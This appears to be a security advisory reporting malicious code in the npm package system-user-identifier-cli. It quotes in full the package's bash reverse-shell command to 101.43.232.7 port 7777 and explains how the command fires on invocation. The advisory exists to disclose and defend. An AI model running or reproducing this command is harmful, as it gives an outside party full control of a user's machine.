Summary
Malicious code in system-user-identifier-cli (npm)
Details
index.js line 13 executes `bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"` via child_process.exec, opening an interactive reverse shell to the hardcoded attacker-controlled host 101.43.232.7 on TCP port 7777. The shell fires whenever the package's entrypoint is invoked (e.g. `npx system-user-identifier-cli` or require of the module), giving the operator of that endpoint full interactive control of the installer's machine under the user that ran the tool. The package advertises itself as a trivial 'check system user identifier' utility and ships placeholder author metadata ('Your Name'); the reverse shell is undocumented and inconsistent with the stated purpose. There is no benign interpretation of a hardcoded `/dev/tcp/<ip>/<port>` bash redirector pointed at an arbitrary public IP.
